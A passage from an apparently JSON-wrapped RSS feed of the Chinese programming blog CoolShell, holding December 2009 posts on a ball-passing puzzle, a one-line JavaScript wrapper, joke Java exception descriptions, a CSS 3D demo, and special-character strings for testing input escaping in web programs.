class=\"wp_rp_title\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1984.html\">C语言的演变史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1984.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>24</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-33.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 33 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=33\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Sun, 05 May 2013 13:14:26 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>【问题】传球问题</title>\n\t\t<link>https://coolshell.cn/articles/1976.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1976.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[cui]]></dc:creator>\n\t\t<pubDate>Sun, 20 Dec 2009 09:41:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[传球问题]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1976</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>有a,b,c,d,四个人 互相传球 从a开始传出 经过5次传球后 球回到a的手里 算总共有多少种传球的方法 （转载本站文章请注明作者和出处 酷 壳 &#8211...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1976.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1976.html\">【问题】传球问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>有a,b,c,d,四个人<br />\n互相传球<br />\n从a开始传出<br />\n经过5次传球后<br />\n球回到a的手里</p>\n<p>算总共有多少种传球的方法<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"最为奇怪的程序语言的特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_title\">最为奇怪的程序语言的特性</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5826.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"千万别用MongoDB？真的吗？！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5826.html\" class=\"wp_rp_title\">千万别用MongoDB？真的吗？！</a></li><li ><a href=\"https://coolshell.cn/articles/4334.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg\" alt=\"Eclipse开发Android应用程序入门:重装上阵\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4334.html\" class=\"wp_rp_title\">Eclipse开发Android应用程序入门:重装上阵</a></li><li ><a href=\"https://coolshell.cn/articles/1265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"恢复Ext3下被删除的文件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1265.html\" class=\"wp_rp_title\">恢复Ext3下被删除的文件</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1976.html\">【问题】传球问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1976.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>29</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个“精湛”的JS程序</title>\n\t\t<link>https://coolshell.cn/articles/1973.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1973.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 18 Dec 2009 09:20:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1973</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一个很“精湛”的JS程序： http://rmd.atdmt.com/tl/DocumentDotWrite.js 这个JS文件中“精湛”之处在于，其只有...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1973.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1973.html\">一个“精湛”的JS程序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一个很“精湛”的JS程序：</p>\n<p style=\"text-align: center;\"><a href=\"http://rmd.atdmt.com/tl/DocumentDotWrite.js\" target=\"_blank\">http://rmd.atdmt.com/tl/DocumentDotWrite.js</a></p>\n<p>这个JS文件中“精湛”之处在于，其只有一行代码，如下所示：</p>\n<blockquote><p>function <strong>DocumentDotWrite</strong>(s){document.write(s);}</p></blockquote>\n<p>下面这个贴子讨论了这个JS文件：<br />\n<a href=\"http://forums.thedailywtf.com/forums/p/7872/147330.aspx\">http://forums.thedailywtf.com/forums/p/7872/147330.aspx</a></p>\n<p>大家都在猜测为什么那个程序员要这么干，下面是一些猜测：</p>\n<ol>\n<li>网友superjer说：这是一个伟大的创造，解决了你的键盘“.”键损坏的情况。</li>\n<li>网友Heron说：这是从Character Map上拷贝粘贴下来的。</li>\n<li>网友mfah说：这是世界上第一个用C来包装Javascript的示例。</li>\n<li>网友djork说：我是一个用手机编程的人，这个方法可以让人在手机上更容易输入我的代码。</li>\n<li>网友PSWorx说：可能他们想把document.write作为一个回调函数，但直接把document.write传进去不行。</li>\n<li>还有一个网友说：这么做或者可以阻止网页上的广告阻截器。</li>\n</ol>\n<p>呵呵，看来，“超级天才”和“极端愚蠢”可能只是一线之差，只有写这段程序的那个程序员才知道为什么要这么干了。也许，他的键盘的那个键真的是坏了也不一定。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1973.html\">一个“精湛”的JS程序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1973.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Java异常另类手册</title>\n\t\t<link>https://coolshell.cn/articles/1970.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1970.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 17 Dec 2009 08:44:15 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Exception]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1970</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在这个页面上http://rymden.nu/exceptions.html，你会看到Java的各种异常，不过，你看看各个异常的解释，你会发现非常有趣，下面例举...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1970.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1970.html\">Java异常另类手册</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在这个页面上<a href=\"http://rymden.nu/exceptions.html\">http://rymden.nu/exceptions.html</a>，你会看到Java的各种异常，不过，你看看各个异常的解释，你会发现非常有趣，下面例举几个吧：</p>\n<p><strong>java.lang.ArithmeticException</strong></p>\n<p>你正在使用计算解决一个你不能自己解释的数学问题，请你重新读一下你的程序，然后，再试一次。</p>\n<p><strong>java.lang.ClassNotFoundException</strong></p>\n<p>你应该是发明创造了一个你自己的类，目前，Java中还没有实现“<a href=\"http://zh.wikipedia.org/wiki/%E5%8D%B0%E5%BA%A6%E7%A7%8D%E5%A7%93%E5%88%B6%E5%BA%A6\" target=\"_blank\">种姓制度</a>”，但是Java明显使用了巴厘岛的种姓制度。也就是说，如果你是一个武士（wesia），也就相当于印度种姓制度中的第三层——吠舍（vaishya）</p>\n<p><strong>java.lang.IllegalAccessException</strong></p>\n<p>你是一个正在运行Java程序入室盗窃的小偷，请停止对电脑的盗窃行为，离开房子，然后再试一次。</p>\n<p><span id=\"more-1970\"></span></p>\n<p><strong>java.lang.NullPointerException</strong></p>\n<p>你没有狗。请你先找一只狗（比如：布烈塔尼獵犬），然后再试一次。</p>\n<p><strong>java.lang.SecurityException</strong></p>\n<p>你已被认为是国家安全的一个威胁。请你呆在原地别动，然后等着警察来并带你走。</p>\n<p><strong>java.awt.AWTException</strong></p>\n<p>你正在使用AWT，也就是说你的图形界面会很丑。这个异常只是一个警告可以被忽略。</p>\n<p><strong>java.beans.IntrospectionException</strong></p>\n<p>你太内向了，你应该变得外向一些。 请你不要再干这些无奈的事了，出门去见见人吧。</p>\n<p><strong>java.io.EOFException</strong></p>\n<p>你只所以要看手册是因为你不知道EOF是什么意思。我并不打算告诉你，因为你是一个不学无术的人。</p>\n<p><strong>java.io.FileNotFoundException</strong></p>\n<p>连木匠都知道他的工具放在哪里。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1970.html\">Java异常另类手册</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1970.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>纯CSS做的3D效果</title>\n\t\t<link>https://coolshell.cn/articles/1962.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1962.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 16 Dec 2009 06:04:32 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1962</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一个用CSS做的一个3D的效果。你可以使用鼠标在图片中移动来显示这个效果。其实，这个效果只是能过移动图片来产生的。其可以工作在Internet Explo...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1962.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1962.html\">纯CSS做的3D效果</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一个用CSS做的一个3D的效果。你可以使用鼠标在图片中移动来显示这个效果。其实，这个效果只是能过移动图片来产生的。其可以工作在Internet Explorer 8, Firefox 3, Opera 9, Safari 3, Chrome 4 和 Konqueror 3.5下。网页在这里：<a href=http://www.romancortes.com/ficheros/meninas.html target=_blank>http://www.romancortes.com/ficheros/meninas.html</a></p>\n<p><P align=center><IFRAME src=\"http://www.romancortes.com/ficheros/meninas.html\" frameBorder=0 width=400 height=455 frameborder=no scrolling=\"no\"></IFRAME></P><br />\n<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"神奇的CSS形状 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_title\">神奇的CSS形状 </a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/5164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"CSS图形\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5164.html\" class=\"wp_rp_title\">CSS图形</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1962.html\">纯CSS做的3D效果</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1962.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Web程序的最佳测试数据</title>\n\t\t<link>https://coolshell.cn/articles/1957.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1957.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 15 Dec 2009 07:50:35 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[JSON]]></category>\n\t\t<category><![CDATA[SQL]]></category>\n\t\t<category><![CDATA[Unicode]]></category>\n\t\t<category><![CDATA[转义]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1957</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这里有一篇Matthias写的关于转义字符文章-“The art of escaping”，这篇文章告诉你有一些比较特殊的字符需要你去认真的处理，不然，你的网站...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1957.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1957.html\">Web程序的最佳测试数据</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\">这里有一篇Matthias写的<a title=\"The art of escaping\" href=\"http://united-coders.com/matthias-reuter/the-art-of-escaping\">关于转义字符文章-“The art of escaping”</a>，这篇文章告诉你有一些比较特殊的字符需要你去认真的处理，不然，你的网站程序轻则出错，重则被人黑了。这些物殊的字符是[<code>&lt;\"@%'&amp;_\\?/:;,&gt;কী €</code>] ，你可以使用这个字符串到任意一个可以输入的Web程序上去做测试。</p>\n<p>下面这个表格告诉你为什么这些字符很特殊。这个列表不会是完整的，而且也永远不会完整。<br />\n<center></p>\n<table border=\"0\">\n<thead>\n<tr>\n<th>相关领域</th>\n<th>转义字符</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><a title=\"W3C\" href=\"http://www.w3.org/\">HTML</a></td>\n<td>&lt; , &gt; , &amp;</td>\n</tr>\n<tr>\n<td><a title=\"JSON-Resource\" href=\"http://json.org/\">JSON</a></td>\n<td>&#8220;</td>\n</tr>\n<tr>\n<td><a title=\"mysql character\" href=\"http://dev.mysql.com/doc/refman/5.0/en/string-syntax.html\">SQL</a> in mySql</td>\n<td>字符串 &#8220;, &#8216;, 通配符 %, _</td>\n</tr>\n<tr>\n<td><a title=\"rfc 1738 for urls\" href=\"http://www.faqs.org/rfcs/rfc1738.html\">rfc 1738</a> for URL-parameter</td>\n<td>;, /, ?, :, &#8220;, @, =, &amp; 空格</td>\n</tr>\n</tbody>\n</table>\n<p></center><br />\n把这些转义字符放在一起，然后再整些 utf-8 的一些特殊字符。这些utf-8的字符你可以参看本站的<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1331.html\">Unicode字符预览表</a>一文，并从中获取。另外，你还可以使用下面的这些工具来对你的程序进行调试或检查：</p>\n<ul>\n<li>一个高级Web调试插件： <a title=\"firebug plugin\" href=\"https://addons.mozilla.org/de/firefox/addon/1843\">firebug</a></li>\n<li>标准的请求/响应插件： <a href=\"https://addons.mozilla.org/de/firefox/addon/3829\">Live HTTP headers</a></li>\n<li>一些抓包程序： <a href=\"https://addons.mozilla.org/en-US/firefox/addon/6647\">HTTPfox</a> or <a href=\"https://addons.mozilla.org/en-US/firefox/addon/966\">tamper data</a></li>\n<li>IE的开发者可以试试这个：<a href=\"http://www.fiddler2.com/fiddler2/\">Fiddler.com</a></li>\n</ul>\n<p>如果上面的工具都不能帮助你的话，你可能需要打调试日志，或是使用一个透明的代理服务器：如： <a href=\"http://www.charlesproxy.com/\">Charles Web Debugging Proxy</a> （Windows）</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 